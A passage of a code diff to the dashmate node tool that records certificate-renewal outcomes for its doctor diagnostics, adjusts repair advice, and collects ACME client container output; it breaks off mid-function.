problems.push(new Problem( + `This node's certificate is not being renewed: ` + + `${describeRenewalFailure(failedRenewal.getCode()).sentence}.${renderDeadline(installed)}`, + renderRenewalCause(true), + isInsideRenewalWindow ? SEVERITY.HIGH : SEVERITY.MEDIUM, + )); + } + + // Only when nothing on the wire was sampled. With a served sample the + // branch below reports the same fault with the deadline attached, and + // two problems about one certificate send an operator to arbitrate + // between a signal and a restart. + if (renewal?.getGatewayReloadFailedAt() && !samples.getServiceInfo('gateway', 'servedCertificate')) { + problems.push(new Problem( + `This node's certificate was renewed${asDay(renewal.getLastSuccessAt()) + ? ` on ${asDay(renewal.getLastSuccessAt())}` : ''}, but the gateway is still using the old one`, + chalk`Load it without an outage: +${renderObtainCommand({ configName: config.getName(), guidance, provider: null })}`, + SEVERITY.HIGH, + )); + } + installed.warnings.forEach(({ message }) => { + // Suppressed entirely while renewal is failing. The problem above + // already says what is wrong and what to do, and this one would + // contradict it twice over - calling the node fine, and handing back + // the command the cause forbids. + if (failedRenewal) { + return; + } + problems.push(new Problem( message, chalk`Nothing is broken yet. If it needs attention, obtain a new certificate: -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt${installedForce}}`, +${certificateRequest(installedForce)}`, SEVERITY.LOW, )); }); @@ -177,12 +759,6 @@ Obtain a new certificate. No restart needed: return problems; } - // Certificate validity is judged against the moment the samples were taken, not the moment - // they are analysed. A report is often opened days after it was collected, and the node's - // certificate may be renewed every few days, so judging at analysis time would report every - // healthy node as expired. - const now = samples.date?.getTime() ?? Date.now(); - if (served.state === 'unreachable') { problems.push(new Problem( "The gateway's own listener did not answer a secure connection:" @@ -218,7 +794,7 @@ another dashmate config, a reverse proxy, or a second node. Find what is listening there first. If this node's gateway is answering and the address is simply wrong: -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt --force}`, +${certificateRequest(' --force')}`, SEVERITY.HIGH, )); @@ -226,6 +802,7 @@ If this node's gateway is answering and the address is simply wrong: } const servedExpiresAt = new Date(served.certificate.validTo).getTime(); + const now = sampledAt; const isServedExpired = servedExpiresAt <= now; const onDiskDiffers = served.matchesOnDisk === false; @@ -267,16 +844,26 @@ If this node's gateway is answering and the address is simply wrong: + 'replacement', chalk`Neither the certificate in use nor the saved one is known to work, so restarting will not help. Get a current one: -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt${installedForce}}`, +${certificateRequest(installedForce)}`, SEVERITY.HIGH, )); } else if (isServedExpired) { problems.push(new Problem( `This node is using a certificate that expired on ${served.certificate.validTo}. ` + 'Clients cannot connect to it', - chalk`Renewal has not succeeded. Check the logs, then obtain a new certificate: + // eslint-disable-next-line no-nested-ternary + failedRenewal + ? renderRenewalCause(false) + : guidance.safeAction === SAFE_ACTION.DO_NOT_OBTAIN + ? chalk`dashmate could not read what it recorded about the last renewal, so it cannot +tell whether a certificate is already outstanding. Obtaining one now could spend +a second one against this node's weekly limit: +{bold.cyanBright dashmate doctor report ${cfg}}` + : chalk`Renewal has not succeeded. Check the logs, then obtain a new certificate: {bold.cyanBright dashmate logs ${cfg} dashmate_helper} -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt${installedForce}}`, +${renderObtainCommand({ + configName: config.getName(), guidance, force: installedForce !== '', +})}`, SEVERITY.HIGH, )); } else if (onDiskDiffers) { @@ -296,7 +883,7 @@ restarting will not help. Get a current one: + 'dashmate could not confirm the saved one is a working replacement', chalk`The certificate in use works. The saved one is not known to be a safe replacement, so do not restart to load it. Get a current one instead: -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt${installedForce}}`, +${certificateRequest(installedForce)}`, SEVERITY.HIGH, )); } @@ -317,12 +904,12 @@ ${restartHint(cfg)} If the bundle is already complete, the authority that issued it is not one clients trust, and no restart changes that. Get a publicly trusted certificate: -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt}` +${certificateRequest()}` : chalk`Standard clients will reject this node. The chain itself is not the problem, so adding certificates to the bundle will not help. Check this node's clock first. If the clock is right, the certificate's own dates are wrong and it has to be replaced: -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt --force}`, +${certificateRequest(' --force')}`, SEVERITY.HIGH, )); } diff --git a/packages/dashmate/src/doctor/unarchiveSamplesFactory.js b/packages/dashmate/src/doctor/unarchiveSamplesFactory.js index ed20cb2f831..39745800e3a 100644 --- a/packages/dashmate/src/doctor/unarchiveSamplesFactory.js +++ b/packages/dashmate/src/doctor/unarchiveSamplesFactory.js @@ -149,7 +149,16 @@ export default function unarchiveSamplesFactory(getServiceList) { const samples = new Samples(); const dateFilePath = path.join(extractDir, 'date.txt'); if (fs.existsSync(dateFilePath)) { - samples.date = readSampleFile(dateFilePath); + // Archived as an ISO string, but analysers compare it as an instant - + // a report is read long after it was collected, so certificate dates + // are judged against this rather than the current time. An unparseable + // value is left unset rather than kept as an Invalid Date, so those + // comparisons fall back to now instead of silently yielding NaN. + const collectedAt = new Date(readSampleFile(dateFilePath)); + + if (!Number.isNaN(collectedAt.getTime())) { + samples.date = collectedAt; + } } const systemInfoFilePath = path.join(extractDir, 'systemInfo.json'); diff --git a/packages/dashmate/src/helper/record-renewal-outcome.js b/packages/dashmate/src/helper/record-renewal-outcome.js new file mode 100644 index 00000000000..d72fb261254 --- /dev/null +++ b/packages/dashmate/src/helper/record-renewal-outcome.js @@ -0,0 +1,202 @@ +import classifyRenewalFailure, { RENEWAL_FAILURE_CODES } from '../ssl/renewal-failure.js'; +import RenewalRecord from '../ssl/renewalRecord/RenewalRecord.js'; +import { RENEWAL_RECORD_STATES } from '../ssl/renewalRecord/RenewalRecordRepository.js'; + +/** + * Everything that can throw, kept inside one boundary. + * + * This runs from the cron callback that owns the renewal chain, where an + * escaping error would take down the process and, worse, skip the stop that + * schedules the next attempt. Renewal must never fail because its bookkeeping + * did, so classification, serialisation and the write are all in here and + * nothing is evaluated by the caller on the way in. + * + * @param {function(): void} write + * @param {string} configName + */ +function attempt(write, configName) { + try { + write(); + } catch (e) { + // eslint-disable-next-line no-console + console.error(`Failed to record the certificate renewal outcome for ${configName}: ${e.message}`); + } +} + +/** + * @param {RenewalRecordRepository} repository + * @param {string} configName + * @return {RenewalRecord|null} + */ +function readPrevious(repository, configName) { + const { state, record } = repository.read(configName); + + return state === RENEWAL_RECORD_STATES.PRESENT ? record : null; +} + +/** + * Whether the record that came before may have been holding an issuance guard. + * + * A record that exists and cannot be read is not an absent one. It may be the + * record that says a certificate was issued and never saved, and treating it as + * nothing writes a fresh record with no markers - so the next failure an hour + * later advises asking again, which is exactly what the lost marker forbade. + * + * @param {RenewalRecordRepository} repository + * @param {string} configName + * @return {boolean} + */ +function previousMayBeHidingAnIssuance(repository, configName) { + return repository.read(configName).state === RENEWAL_RECORD_STATES.UNREADABLE; +} + +/** + * Record that a renewal completed. + * + * Written before the gateway is told to load the certificate, because the two + * are separate facts. Folding a failed signal into this one would carry the + * previous success forward and count a failure, and an operator whose + * certificate renewed minutes ago would be told renewal had been failing for + * as long as the old date is old. + * + * @param {Object} options + * @param {RenewalRecordRepository} options.renewalRecordRepository + * @param {string} options.configName + * @param {string} options.provider + */ +export function recordRenewalSuccess({ + renewalRecordRepository, configName, provider, generation = null, +}) { + attempt(() => { + // One instant for both, so they cannot order against each other. + const now = new Date().toISOString(); + + renewalRecordRepository.write(configName, RenewalRecord.fromObject({ + provider, + outcome: RenewalRecord.OUTCOMES.SUCCEEDED, + attemptedAt: now, + lastSuccessAt: now, + consecutiveFailures: 0, + // A certificate arrived, so whatever was owed from an earlier attempt is + // settled and the warning against asking for another one is lifted. + issuanceSpentAt: null, + issuanceUncertainAt: null, + gatewayReloadFailedAt: null, + }), generation); + }, configName); +} + +/** + * Record that a renewal did not produce a certificate. + * + * @param {Object} options + * @param {RenewalRecordRepository} options.renewalRecordRepository + * @param {HomeDir} options.homeDir + * @param {string} options.configName + * @param {string} options.provider + * @param {*} [options.error] - classified here, never by the caller + * @param {string} [options.code] - when the caller already knows the cause + * @param {string} [options.apiKey] - redacted defensively out of the excerpt + * @param {number|null} [options.generation] - the chain that owns this write; + * a superseded chain is refused + */ +export function recordRenewalFailure({ + renewalRecordRepository, homeDir, configName, provider, error, code, apiKey, generation = null, +}) { + attempt(() => { + // Only this provider's own history. A provider change handed over by the + // configuration watcher does not clear the record, so without this the new + // provider's first failure would inherit the old one's last success, its + // failure count, and its spent issuance - and a certificate spent on one + // provider would suppress the repair for an unrelated failure on another. + const candidate = readPrevious(renewalRecordRepository, configName); + const previous = candidate?.getProvider() === provider ? candidate : null; + + const classified = code + ? { code, detail: null } + // The provider is what decides whether lego's output may be read at + // all. Dropping it here is how a ZeroSSL failure carrying ACME wording + // would acquire a Let's Encrypt cause, and how every Let's Encrypt + // failure would be recorded as one nobody could work out. + : classifyRenewalFailure(error, { homeDirPath: homeDir.getPath(), apiKey, provider }); + + const asObject = previous?.toObject(); + + // Both markers are carried until a certificate actually arrives. Either one + // stays true through every later failure, because the next attempt an hour + // from now records an ordinary cause whose advice is to ask for another + // certificate - and that is the one thing that must not happen while an + // issuance is spent, or may have been. + const issuanceSpentAt = classified.code === RENEWAL_FAILURE_CODES.CERTIFICATE_ISSUED_NOT_SAVED + ? new Date().toISOString() + : asObject?.issuanceSpentAt ?? null; + + // The helper ran and nobody read how it finished, so a request may have + // reached the authority. Unlike the case above this is not a certainty, + // and it withholds the same advice for a different reason. + const isIssuanceUnconfirmed = classified.code === RENEWAL_FAILURE_CODES.RESULT_UNKNOWN + || classified.code === RENEWAL_FAILURE_CODES.HELPER_START_UNCONFIRMED; + + const issuanceUncertainAt = isIssuanceUnconfirmed + || previousMayBeHidingAnIssuance(renewalRecordRepository, configName) + ? new Date().toISOString() + : asObject?.issuanceUncertainAt ?? null; + + renewalRecordRepository.write(configName, RenewalRecord.fromObject({ + provider, + outcome: RenewalRecord.OUTCOMES.FAILED, + code: classified.code, + detail: classified.detail, + attemptedAt: new Date().toISOString(), + lastSuccessAt: previous?.getLastSuccessAt()?.toISOString() ?? null, + consecutiveFailures: (previous?.getConsecutiveFailures() ?? 0) + 1, + issuanceSpentAt, + issuanceUncertainAt, + gatewayReloadFailedAt: null, + }), generation); + }, configName); +} + +/** + * Record that a renewed certificate could not be handed to the gateway. + * + * Kept apart from the renewal's own outcome: the certificate is on disk and + * the counter and the last success stay as the renewal left them. Only the + * loading of it failed, and only that is repaired. + * + * @param {Object} options + * @param {RenewalRecordRepository} options.renewalRecordRepository + * @param {string} options.configName + */ +export function recordGatewayReloadFailure({ + renewalRecordRepository, configName, generation = null, +}) { + attempt(() => { + const previous = readPrevious(renewalRecordRepository, configName); + + if (previous === null) { + return; + } + + renewalRecordRepository.write(configName, RenewalRecord.fromObject({ + ...previous.toObject(), + gatewayReloadFailedAt: new Date().toISOString(), + }), generation); + }, configName); +} + +/** + * Forget what was recorded for this config. + * + * Used when renewal stops being this provider's concern - SSL turned off, or + * a provider switch - and when a certificate is installed by hand, which + * settles any failure that came before it. Left behind, a failure record for a + * node whose operator deliberately stopped renewing would be reported forever. + * + * @param {Object} options + * @param {RenewalRecordRepository} options.renewalRecordRepository + * @param {string} options.configName + */ +export function clearRenewalRecord({ renewalRecordRepository, configName, generation = null }) { + attempt(() => renewalRecordRepository.remove(configName, generation), configName); +} diff --git a/packages/dashmate/src/helper/renewCertificate.js b/packages/dashmate/src/helper/renewCertificate.js index 992ec317fe7..51e6efa747f 100644 --- a/packages/dashmate/src/helper/renewCertificate.js +++ b/packages/dashmate/src/helper/renewCertificate.js @@ -10,14 +10,20 @@ * @param {string} options.provider * @param {number} options.expirationDays * @param {function(Config): Listr} options.obtainCertificateTask + * @param {number|null} [options.generation] - the scheduling chain's fence, so + * an install performed inside a renewal does not lock that renewal out of + * recording the success it just achieved * @param {ConfigFileJsonRepository} options.configFileRepository * @param {writeConfigTemplates} options.writeConfigTemplates * @return {Promise<{config: Config, renewed: boolean}>} */ + +import ConfigurationLockLostError from '../ssl/errors/ConfigurationLockLostError.js'; export default async function renewCertificate({ configName, provider, expirationDays, + generation = null, obtainCertificateTask, configFileRepository, writeConfigTemplates, @@ -44,6 +50,7 @@ export default async function renewCertificate({ await tasks.run({ expirationDays, noRetry: true, + renewalGeneration: generation, }); } catch (e) { if (config.isChanged()) { @@ -60,7 +67,7 @@ export default async function renewCertificate({ // this configuration would overwrite that, and the save's own check comes // too late to prevent it. if (!configFileRepository.isExclusive()) { - throw new Error('Lost the configuration lock while renewing the certificate,' + throw new ConfigurationLockLostError('Lost the configuration lock while renewing the certificate,' + ' so the gateway service files were not written. The certificate was' + ' obtained; re-run renewal once no other command is changing configuration.'); } diff --git a/packages/dashmate/src/helper/scheduleRenewLetsEncryptCertificateFactory.js b/packages/dashmate/src/helper/scheduleRenewLetsEncryptCertificateFactory.js index 0788709a661..3be68d6229b 100644 --- a/packages/dashmate/src/helper/scheduleRenewLetsEncryptCertificateFactory.js +++ b/packages/dashmate/src/helper/scheduleRenewLetsEncryptCertificateFactory.js @@ -4,7 +4,9 @@ import path from 'path'; import ConfigIsNotPresentError from '../config/errors/ConfigIsNotPresentError.js'; import LegoCertificate from '../ssl/letsencrypt/LegoCertificate.js'; import isCertificatePairInstalled from '../ssl/letsencrypt/isCertificatePairInstalled.js'; +import { recordRenewalFailure } from './record-renewal-outcome.js'; import scheduleRenewalJob from './scheduleRenewalJob.js'; +import CertificateFileMissingError from '../ssl/errors/CertificateFileMissingError.js'; /** * @param {obtainLetsEncryptCertificateTask} obtainLetsEncryptCertificateTask @@ -12,6 +14,7 @@ import scheduleRenewalJob from './scheduleRenewalJob.js'; * @param {ConfigFileJsonRepository} configFileRepository * @param {writeConfigTemplates} writeConfigTemplates * @param {HomeDir} homeDir + * @param {RenewalRecordRepository} renewalRecordRepository * @return {scheduleRenewLetsEncryptCertificate} */ export default function scheduleRenewLetsEncryptCertificateFactory( @@ -20,6 +23,7 @@ export default function scheduleRenewLetsEncryptCertificateFactory( configFileRepository, writeConfigTemplates, homeDir, + renewalRecordRepository, ) { /** * @typedef scheduleRenewLetsEncryptCertificate @@ -29,9 +33,17 @@ export default function scheduleRenewLetsEncryptCertificateFactory( */ async function scheduleRenewLetsEncryptCertificate(config, onConfigurationChanged) { const configName = config.getName(); + + // Claimed once per chain. A chain started later supersedes one still in + // flight, so a configuration change cannot be overwritten by the attempt it + // replaced - the old job's callback keeps running after the watcher hands + // over, and both chains write to the same file. + let generation = null; let currentConfig; try { + generation = renewalRecordRepository.claimGeneration(configName); + currentConfig = configFileRepository.read().getConfig(configName); } catch (e) { if (e instanceof ConfigIsNotPresentError) { @@ -71,6 +83,27 @@ export default function scheduleRenewLetsEncryptCertificateFactory( } catch (e) { // eslint-disable-next-line no-console console.error(`Failed to read Let's Encrypt certificate from ${certPath}: ${e.message}`); + + // Renewal never reaches an attempt from here - it re-checks hourly for a + // file that will not appear on its own - so without recording it, a node + // in this state renews nothing and says nothing about why. + // + // Only an absent file becomes the missing-file cause, and it is decided + // here rather than from the error's shape: this is the one place that + // knows the read was a local one. The same read throws for a permission + // denial and for a corrupt certificate, neither of which a new + // certificate repairs - and a provider response can carry a `code` + // property of its own, so shape alone does not even establish that the + // failure was local. + recordRenewalFailure({ + renewalRecordRepository, + generation, + homeDir, + configName, + provider: 'letsencrypt', + error: e.code === 'ENOENT' ? new CertificateFileMissingError(certPath) : e, + }); + // Schedule a check in 1 hour to see if certificate appears const retryAt = new Date(Date.now() + 60 * 60 * 1000); @@ -118,6 +151,9 @@ export default function scheduleRenewLetsEncryptCertificateFactory( configFileRepository, writeConfigTemplates, dockerCompose, + homeDir, + renewalRecordRepository, + generation, onConfigurationChanged, reschedule: (nextConfig) => scheduleRenewLetsEncryptCertificate( nextConfig, diff --git a/packages/dashmate/src/helper/scheduleRenewZeroSslCertificateFactory.js b/packages/dashmate/src/helper/scheduleRenewZeroSslCertificateFactory.js index c58fa71381d..3d91b9ac5e4 100644 --- a/packages/dashmate/src/helper/scheduleRenewZeroSslCertificateFactory.js +++ b/packages/dashmate/src/helper/scheduleRenewZeroSslCertificateFactory.js @@ -1,5 +1,6 @@ import ConfigIsNotPresentError from '../config/errors/ConfigIsNotPresentError.js'; import Certificate from '../ssl/zerossl/Certificate.js'; +import { recordRenewalFailure } from './record-renewal-outcome.js'; import scheduleRenewalJob from './scheduleRenewalJob.js'; /** @@ -9,6 +10,8 @@ import scheduleRenewalJob from './scheduleRenewalJob.js'; * @param {DockerCompose} dockerCompose * @param {ConfigFileJsonRepository} configFileRepository * @param {writeConfigTemplates} writeConfigTemplates + * @param {HomeDir} homeDir + * @param {RenewalRecordRepository} renewalRecordRepository * @return {scheduleRenewZeroSslCertificate} */ export default function scheduleRenewZeroSslCertificateFactory( @@ -17,6 +20,8 @@ export default function scheduleRenewZeroSslCertificateFactory( dockerCompose, configFileRepository, writeConfigTemplates, + homeDir, + renewalRecordRepository, ) { /** * @typedef scheduleRenewZeroSslCertificate @@ -26,9 +31,17 @@ export default function scheduleRenewZeroSslCertificateFactory( */ async function scheduleRenewZeroSslCertificate(config, onConfigurationChanged) { const configName = config.getName(); + + // Claimed once per chain. A chain started later supersedes one still in + // flight, so a configuration change cannot be overwritten by the attempt it + // replaced - the old job's callback keeps running after the watcher hands + // over, and both chains write to the same file. + let generation = null; let currentConfig; try { + generation = renewalRecordRepository.claimGeneration(configName); + currentConfig = configFileRepository.read().getConfig(configName); } catch (e) { if (e instanceof ConfigIsNotPresentError) { @@ -69,6 +82,20 @@ export default function scheduleRenewZeroSslCertificateFactory( // eslint-disable-next-line no-console console.error(`Failed to read ZeroSSL certificate, retrying in 1 hour: ${e.message}`); + // An account ZeroSSL refuses, or a certificate id it no longer knows, + // stops renewal here permanently - no attempt is ever made, so nothing + // downstream records anything. This is the state most of the expired + // nodes on mainnet are in. + recordRenewalFailure({ + renewalRecordRepository, + generation, + homeDir, + configName, + provider: 'zerossl', + error: e, + apiKey: currentConfig.get('platform.gateway.ssl.providerConfigs.zerossl.apiKey', false), + }); + setTimeout(() => { scheduleRenewZeroSslCertificate(config, onConfigurationChanged); }, 60 * 60 * 1000); @@ -108,6 +135,12 @@ export default function scheduleRenewZeroSslCertificateFactory( configFileRepository, writeConfigTemplates, dockerCompose, + homeDir, + renewalRecordRepository, + generation, + // The obtain path is the one most likely to have the provider echo the + // key back at us, and its excerpt is what reaches a shared report. + apiKey: currentConfig.get('platform.gateway.ssl.providerConfigs.zerossl.apiKey', false), onConfigurationChanged, reschedule: (nextConfig) => scheduleRenewZeroSslCertificate( nextConfig, diff --git a/packages/dashmate/src/helper/scheduleRenewalJob.js b/packages/dashmate/src/helper/scheduleRenewalJob.js index 1c2dfc2bf69..d42b228fb43 100644 --- a/packages/dashmate/src/helper/scheduleRenewalJob.js +++ b/packages/dashmate/src/helper/scheduleRenewalJob.js @@ -1,8 +1,15 @@ import { CronJob } from 'cron'; +import ServiceIsNotRunningError from '../docker/errors/ServiceIsNotRunningError.js'; +import { + clearRenewalRecord, + recordGatewayReloadFailure, + recordRenewalFailure, + recordRenewalSuccess, +} from './record-renewal-outcome.js'; import renewCertificate from './renewCertificate.js'; import watchCertificateConfig from './watchCertificateConfig.js'; -const RETRY_INTERVAL_MS = 60 * 60 * 1000; +export const RETRY_INTERVAL_MS = 60 * 60 * 1000; /** * Run a scheduled renewal while allowing a configuration change to supersede it. @@ -17,6 +24,12 @@ const RETRY_INTERVAL_MS = 60 * 60 * 1000; * @param {ConfigFileJsonRepository} options.configFileRepository * @param {writeConfigTemplates} options.writeConfigTemplates * @param {DockerCompose} options.dockerCompose + * @param {HomeDir} options.homeDir + * @param {RenewalRecordRepository} options.renewalRecordRepository + * @param {number|null} options.generation - this scheduling chain's fence; a + * chain superseded by a configuration change may no longer describe the node + * @param {string} [options.apiKey] - the provider key, redacted defensively out + * of anything the provider echoes back into the recorded excerpt * @param {function(Config): Promise} options.onConfigurationChanged * @param {function(Config): Promise} options.reschedule */ @@ -30,6 +43,10 @@ export default function scheduleRenewalJob({ configFileRepository, writeConfigTemplates, dockerCompose, + homeDir, + renewalRecordRepository, + generation = null, + apiKey = null, onConfigurationChanged, reschedule, }) { @@ -38,6 +55,21 @@ export default function scheduleRenewalJob({ let nextConfig = currentConfig; let stopWatchingConfig = () => {}; + // Set when the renewal itself did not produce a certificate, and read after + // the job is stopped. Recording from inside the catch below would put a write + // ahead of job.stop(), which is the only thing that schedules the next + // attempt - so a failure there would leave the helper running with nothing + // scheduled and nothing watching the configuration. + let renewalFailure = null; + // Distinguished from the above because the certificate did renew. Counting a + // signal that did not land as a failed renewal would tell an operator whose + // certificate is minutes old that renewal has been failing for as long as + // their previous certificate is old. + let reloadFailure = null; + // A failed signal still reaches the catch below, so the renewal's own verdict + // cannot be read from whether one was raised. + let isRenewed = false; + const job = new CronJob(renewAt, async () => { stopWatchingConfig(); @@ -46,6 +78,7 @@ export default function scheduleRenewalJob({ configName, provider, expirationDays, + generation, obtainCertificateTask, configFileRepository, writeConfigTemplates, @@ -54,10 +87,28 @@ export default function scheduleRenewalJob({ nextConfig = renewal.config; if (!renewal.renewed) { + // Cleared before the handover, not after it. This record belongs to a + // provider that no longer renews here - SSL was turned off, or the + // provider changed - and it is stale the moment that is known. The + // handover below hands the file to whoever renews next, and both + // providers write to it synchronously while it runs, so clearing + // afterwards would delete the incoming provider's first record and + // leave a switched node reporting nothing until its next attempt. + clearRenewalRecord({ renewalRecordRepository, configName, generation }); + await onConfigurationChanged(renewal.config); completion = 'stop'; } else { + // The certificate exists from here on, whatever happens to the signal + // below, so it is recorded before the signal is sent rather than after + // the whole step succeeds. + recordRenewalSuccess({ + renewalRecordRepository, configName, provider, generation, + }); + + isRenewed = true; + // A signal is sufficient and nothing here needs to restart the // container. PID 1 in the gateway container is Envoy's hot-restarter, // not Envoy: its SIGHUP handler forks and re-execs Envoy with an @@ -66,7 +117,17 @@ export default function scheduleRenewalJob({ // name, so the renewed certificate takes effect while the old process // drains. A container restart would achieve the same thing and cost an // outage. - await dockerCompose.execCommand(renewal.config, 'gateway', 'kill -SIGHUP 1'); + try { + await dockerCompose.execCommand(renewal.config, 'gateway', 'kill -SIGHUP 1'); + } catch (e) { + // A gateway that is down is not a certificate problem and is already + // reported as a stopped service; the documented upgrade procedure + // leaves it down on purpose. Anything else means the certificate is + // installed and the gateway is still serving the previous one. + reloadFailure = e instanceof ServiceIsNotRunningError ? null : e; + + throw e; + } // eslint-disable-next-line no-console console.log(`${providerName} certificate renewed successfully`); @@ -77,10 +138,33 @@ export default function scheduleRenewalJob({ // eslint-disable-next-line no-console console.error(`Failed to renew ${providerName} certificate: ${e.message}`); + renewalFailure = e; completion = 'retry'; } job.stop(); + + // Only now that the next attempt is scheduled. Nothing below can throw - + // recording swallows its own failures - but the ordering is what makes that + // guarantee unnecessary rather than load-bearing. + if (isRenewed) { + // Nothing is recorded for a gateway that is simply down: that is not a + // certificate problem, it is already reported as a stopped service, and + // the renewal itself is already recorded as the success it was. + if (reloadFailure !== null) { + recordGatewayReloadFailure({ renewalRecordRepository, configName, generation }); + } + } else if (renewalFailure !== null) { + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName, + provider, + error: renewalFailure, + apiKey, + generation, + }); + } }, () => { if (completion === 'stop') { return; diff --git a/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js b/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js index 3edda30b13d..22cb3855845 100644 --- a/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js @@ -41,6 +41,7 @@ async function fetchTextOrError(url) { * @param {validateZeroSslCertificate} validateZeroSslCertificate * @param {validateLetsEncryptCertificate} validateLetsEncryptCertificate * @param {checkGatewayCertificate} checkGatewayCertificate + * @param {RenewalRecordRepository} renewalRecordRepository * @return {collectSamplesTask} */ /** @@ -103,6 +104,7 @@ export default function collectSamplesTaskFactory( validateZeroSslCertificate, validateLetsEncryptCertificate, checkGatewayCertificate, + renewalRecordRepository, ) { /** * @typedef {function} collectSamplesTask @@ -256,6 +258,12 @@ export default function collectSamplesTaskFactory( validTo: verdict.installed ? verdict.installed.validTo.toUTCString() : null, + // When this certificate was issued, which is what says + // whether a recorded renewal failure came before it. A + // failure the certificate outlives has been overtaken. + validFrom: verdict.installed + ? verdict.installed.validFrom.toUTCString() + : null, // Which pair was judged. The wire probe records the same // fingerprint for the file it read, so an analyser can tell // whether the two samples describe the same certificate @@ -276,6 +284,37 @@ export default function collectSamplesTaskFactory( ctx.samples.setServiceInfo('gateway', 'installedCertificate', installed); }, }, + { + // Read next to the certificate it describes rather than + // anywhere else in this collection. The helper replaces the + // certificate and writes this seconds apart, and the rest of + // the collection takes long enough - there is a call out to the + // internet in it - that reading them minutes apart would + // routinely straddle a renewal and report a node that has just + // succeeded as one that is failing. + enabled: () => config.get('platform.enable'), + title: 'Gateway certificate renewal', + task: async () => { + const renewal = renewalRecordRepository.read(config.getName()); + + // Absent and unreadable are kept apart all the way to the + // analyser. "Nothing was recorded" is a fair thing to say; + // saying it about a file that could not be opened is not. + const sample = { + state: renewal.state, + path: renewal.path, + error: renewal.error, + ...renewal.record?.toObject(), + }; + + // Same treatment as the certificate above: the path is what + // makes a problem actionable and stays, the operator's name + // in it does not. + obfuscateOperatorName(sample); + + ctx.samples.setServiceInfo('gateway', 'certificateRenewal', sample); + }, + }, { // Every other certificate check reads a file or the provider's API, so a // certificate that was renewed on disk but never reached the gateway looks diff --git a/packages/dashmate/src/listr/tasks/setup/regular/registerMasternode/registerMasternodeWithCoreWallet.js b/packages/dashmate/src/listr/tasks/setup/regular/registerMasternode/registerMasternodeWithCoreWallet.js index 1b001be6114..ad14e6f167f 100644 --- a/packages/dashmate/src/listr/tasks/setup/regular/registerMasternode/registerMasternodeWithCoreWallet.js +++ b/packages/dashmate/src/listr/tasks/setup/regular/registerMasternode/registerMasternodeWithCoreWallet.js @@ -16,6 +16,7 @@ import formatPercentage from '../../../../prompts/formatters/formatPercentage.js import validatePercentage from '../../../../prompts/validators/validatePercentage.js'; import createPlatformNodeKeyInput from '../../../../prompts/createPlatformNodeKeyInput.js'; import getBLSPublicKeyFromPrivateKeyHex from '../../../../../core/getBLSPublicKeyFromPrivateKeyHex.js'; +import { DOCS_LINKS } from '../../../../../docsLinks.js'; /** * @param {createIpAndPortsForm} createIpAndPortsForm @@ -72,9 +73,9 @@ export default function registerMasternodeWithCoreWalletFactory(createIpAndPorts platformNodeKey: null, }; - let instructionsUrl = 'https://docs.dash.org/mn-setup-core-collateral'; + let instructionsUrl = DOCS_LINKS.MASTERNODE_COLLATERAL; if (ctx.isHP) { - instructionsUrl = 'https://docs.dash.org/evonode-setup-core-collateral'; + instructionsUrl = DOCS_LINKS.EVONODE_COLLATERAL; } let confirmation; diff --git a/packages/dashmate/src/listr/tasks/setup/regular/registerMasternode/registerMasternodeWithDMT.js b/packages/dashmate/src/listr/tasks/setup/regular/registerMasternode/registerMasternodeWithDMT.js index fb4719714c7..3b57fc5e6d3 100644 --- a/packages/dashmate/src/listr/tasks/setup/regular/registerMasternode/registerMasternodeWithDMT.js +++ b/packages/dashmate/src/listr/tasks/setup/regular/registerMasternode/registerMasternodeWithDMT.js @@ -1,6 +1,7 @@ import BlsSignatures from '@dashevo/bls'; import validateBLSPrivateKeyFactory from '../../../../prompts/validators/validateBLSPrivateKeyFactory.js'; import createPlatformNodeKeyInput from '../../../../prompts/createPlatformNodeKeyInput.js'; +import { DOCS_LINKS } from '../../../../../docsLinks.js'; /** * @@ -35,7 +36,7 @@ export default function registerMasternodeWithDMTFactory(createIpAndPortsForm) { type: 'confirm', header: ` Complete initial DMT setup and return here to continue: - See https://docs.dash.org/dmt-setup for instructions on using Dash Masternode Tool + See ${DOCS_LINKS.DMT_SETUP} for instructions on using Dash Masternode Tool to store your collateral and register your masternode.\n`, message: 'Press any key to continue dashmate setup process...', default: ' ', diff --git a/packages/dashmate/src/listr/tasks/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.js b/packages/dashmate/src/listr/tasks/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.js index e853c2b47ff..463d4062ca2 100644 --- a/packages/dashmate/src/listr/tasks/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/ssl/letsencrypt/obtainLetsEncryptCertificateTaskFactory.js @@ -2,6 +2,7 @@ import { Listr } from 'listr2'; import fs from 'fs'; import path from 'path'; import os from 'os'; +import { PassThrough } from 'stream'; import { ERRORS } from '../../../../ssl/letsencrypt/validateLetsEncryptCertificateFactory.js'; import LegoCertificate from '../../../../ssl/letsencrypt/LegoCertificate.js'; @@ -14,6 +15,99 @@ import renderConfigFlag from '../../../../util/renderConfigFlag.js'; const LEGO_IMAGE = 'goacme/lego:v4.31.0'; +/** + * How long to wait for a container's output after it has already exited. + * + * The stream is attached and mostly drained by then, so this only bounds a + * daemon that stops producing without closing the connection - a renewal runs + * unattended, and one that never returns reports nothing at all. + */ +const OUTPUT_DRAIN_TIMEOUT_MS = 10000; + +/** + * Start collecting a container's output while it is still running. + * + * `AutoRemove` deletes a container the moment it exits, and takes its logs with + * it - so reading them after `wait()` returns is a race against the daemon that + * the daemon usually wins. Losing it drops the certificate authority's own + * account of the failure, which is the only part worth reporting: what remains + * is an exit code, and every cause looks alike. Attaching first means the + * output has already been read by the time the container can be removed. + * + * @param {Object} container + * @return {function(): Promise} + */ +function collectContainerOutput(container) { + const chunks = []; + + const attaching = container.logs({ follow: true, stdout: true, stderr: true }); + + const collected = attaching + .then((stream) => new Promise((resolve) => { + const sink = new PassThrough(); + 